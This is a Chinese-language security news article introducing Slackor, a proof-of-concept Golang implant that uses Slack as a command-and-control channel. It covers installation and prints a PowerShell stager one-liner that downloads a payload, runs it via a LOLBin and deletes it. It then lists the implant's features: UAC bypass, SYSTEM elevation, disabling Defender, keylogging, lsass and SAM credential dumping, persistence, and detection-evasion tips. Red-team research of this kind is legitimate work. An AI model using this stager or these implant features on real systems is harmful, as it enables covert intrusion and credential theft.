Slackor:如何将Slack当作你的命令控制服务器
2019-08-02 16:00:48 Author: www.freebuf.com(查看原文) 阅读量:142 收藏

Slackor

Slackor是一款Golang植入,它可以将Slack作为你的命令控制服务器。

注意:该工具目前仅处于概念验证模型阶段,请在创建任何Slack应用之前,确保应用符合Slack App开发者政策。

工具安装

Slackor服务器端采用Python 3开发,在使用该工具之前,你需要满足以下条件:

1、 一个Slack工作区;

2、 以下列权限注册一个App:

channels:read

channels:history

channels:write

files:write:user

files:read

3、 创建一个BOT;

Slackor项目中包含五个文件:

1、install.sh:安装依赖组件

2、setup.py:这个脚本可以创建Slack信道、数据库和植入程序

3、agent.py:这个脚本可以生成新的植入程序

4、server.py:Slack服务器,可在Linux平台上运行

5、agent.go:Golang植入程序

6、requirements.txt:Python依赖(自动安装)

快速开始

go get github.com/Coalfire-Research/Slackor

cd $GOPATH/src/github.com/Coalfire-Research/Slackor

运行了上述命令之后,运行“install.sh”文件,然后运行“setup.py”,此时需要你提供Slack应用程序的“OAuth访问令牌”以及 “Bot User OAuth访问令牌”。

成功运行上述脚本之后,还需要在项目的dist/目录中创建下列几个文件:

agent.windows.exe:Windows 64-bit 代码

agent.upx.exe:Windows 64-bit 代码, UPX 封装

agent.darwin:macOS 64-bit 代码

agent.32.linux:Linux 32-bit 代码

agent.64.linux:Linux 64-bit 代码

在Linux主机上运行server.py之后,工具会根据目标主机的情况自动选择上述代理程序。

我们可以使用“stager”模块来生成一个one-liner或其他Dropper:

powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /msvchost.exe /c C:\Users\Public\[NAME]; timeout 2; delC:\Users\Public\[NAME].exe

这条命令将会执行InvokeWebRequest(PS v.3+)来下载Payload,并使用一个LOLBin来执行它。执行完成后,Payload会进行自毁操作。这只是一个仅供参考的使用样例,大家可以根据自己的需要来使用其他的下载方法或执行方法。

工具使用

输入“help”或按下TAB键,我们就可以查看到该工具所支持的全部可用命令了,我们还可以输入“help [COMMAND]”来查看命令描述。

(Slackor:服务器端)

help –显示帮助菜单

interact– 与代理端交互

list –列出所有已注册的代理

remove– 终止或移除代理

revive– 向所有的代理发送重新注册信号

stager– 生成一个One-Liner下载并执行植入程序

quit –退出程序

wipefiles– 删除Slack中的所有上传文件

当代理端就绪之后,我们就可以跟它进行交互了。使用“interact [AGENT]”可以切换到代理端的命令行界面,然后输入“help”或按下TAB键即可查看代理端支持的所有可用命令。

(Slackor:代理端)

常用命令

back –返回主菜单

beacon– 修改代理确认时间间隔(默认为5秒)

download– 从代理端下载文件至Slackor服务器

help –显示帮助菜单

kill –终止代理

sleep– 代理休眠

sysinfo– 显示当前用户、操作系统版本、系统架构和CPU核心数

upload– 从代理端上传一份文件至Slackor 服务器

wget –通过HTTP/HTTPS获取任意文件

Windows命令

bypassuac– 生成一个高完整性的代理

cleanup– 移除持久性组件

clipboard– 获取剪切板内容

defanger– 尝试关闭WindowsDefender

duplicate– 生成代理端副本

getsystem-使用NTAUTHORITY/SYSTEM权限生成代理

keyscan– 在代理端开启键盘记录器

minidump–导出lsass.exe内存信息并下载

persist– 在ADS中创建持久性植入程序

samdump– 尝试导出SAM文件,以供离线提取哈希特征

screenshot– 获取屏幕截图

shellcode– 执行x64元Shellcode

Linux命令

screenshot- 获取屏幕截图

OPSEC

命令输出和下载的文件都采用了AES加密,额外的还有Slack的TLS传输层加密。

在执行需要向磁盘写入数据的任务时,模块会给用户发送提醒。在执行Shell命令时,cmd.exe/bash将会被执行,这种行为可能会被目标主机监控到。下面给出的是一些OPSEC安全命令,它们不会执行cmd.exe/bash。

cat –打印文件内容

cd – 修改目录

find –搜索目录文件名

getip– 获取外部IP地址(发送一个DNS 请求)

hostname– 显示主机名称

ifconfig– 显示接口信息

ls – 列举目录内容

mkdir– 创建一个目录

pwd –输出当前工作目录

rm – 移除一个文件

rmdir– 移除一个目录

whoami/ getuid – 输出当前用户信息

项目地址

Slackor:【GitHub传送门

* 参考来源:Coalfire-Research,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


文章来源: https://www.freebuf.com/articles/network/209252.html
如有侵权请联系:admin#unsafe.sh